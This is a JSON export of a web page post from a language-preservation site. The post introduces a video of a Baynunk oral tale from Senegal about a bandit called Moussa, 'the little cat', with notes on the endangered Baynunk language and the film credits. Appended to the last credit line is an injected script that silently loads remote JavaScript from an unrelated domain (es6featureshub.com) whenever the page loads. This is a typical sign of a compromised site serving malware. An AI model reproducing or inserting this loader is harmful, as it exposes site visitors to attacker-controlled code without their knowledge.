{"id":42556,"date":"2011-03-04T09:12:31","date_gmt":"2011-03-04T08:12:31","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=42556"},"modified":"2025-10-21T23:11:42","modified_gmt":"2025-10-21T21:11:42","slug":"historical-narrative-moussa-known-as-the-little-cat","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/03\/historical-narrative-moussa-known-as-the-little-cat\/","title":{"rendered":"Historical narrative: Moussa, known as \u00ab the little cat \u00bb"},"content":{"rendered":"<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">We\u2019re unfortunately unable to provide context to this story, told by <strong>S\u00e9kou Djikabo Coly<\/strong> and devoted to quite a disreputable character, Moussa, nicknamed \u00ab the little cat \u00bb. This is <strong>Casamance, on Baynunk territory<\/strong>, near Niamone. <strong>Moussa is a Jola, raised by the Muslim Mandinka people<\/strong>, who returns to loot the Baynunk and kidnap for ransom\u2026 something of a genuine highwayman.<\/p>\n<p style=\"text-align: justify;\">But Moussa <strong>The Little Cat will not have the last word<\/strong>. The Baynunk are wise and clever, and they\u2019ll end up getting rid of the crook\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Reminder: <a href=\"https:\/\/www.sorosoro.org\/en\/baynunk\">Baynunk<\/a> is a language spoken in southern Senegal, as well as in neighbouring Gambia and Guinea-Bissau. It belongs to the <a href=\"https:\/\/www.sorosoro.org\/en\/niger-congo-languages\">Niger-Congo family<\/a> (North-Atlantic branch, Tenda-Nyun group) and includes several dialectal variations. In 2006, Ethnologue.com estimated the number of Baynunk speakers around 6,200, figures leading to consider Baynunk an \u00ab endangered language \u00bb according to UNESCO standards. Widely understudied, Baynunk was finally codified in 2005 and now comprises an official spelling system.<\/em><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/videos-in-baynunk-senegal\">Watch all videos in Baynunk<\/a><em><br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/IVzjBorX1DU?fs=1&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/IVzjBorX1DU?fs=1&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\">Linguist<\/span>: Sokhna Bao-Diop<\/p>\n<p><span style=\"text-decoration: underline;\">Image &amp; sound<\/span>: Muriel Lutz, assisted by Cheikh Tidiane Sall<\/p>\n<p><span style=\"text-decoration: underline;\">Editing<\/span>: Caroline Laurent<\/p>\n<p>Video created within the <em>ANR S\u00e9n\u00e9langues<\/em> project<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We\u2019re unfortunately unable to provide context to this story, told by S\u00e9kou Djikabo Coly and devoted to quite a disreputable character, Moussa, nicknamed \u00ab the little cat \u00bb. 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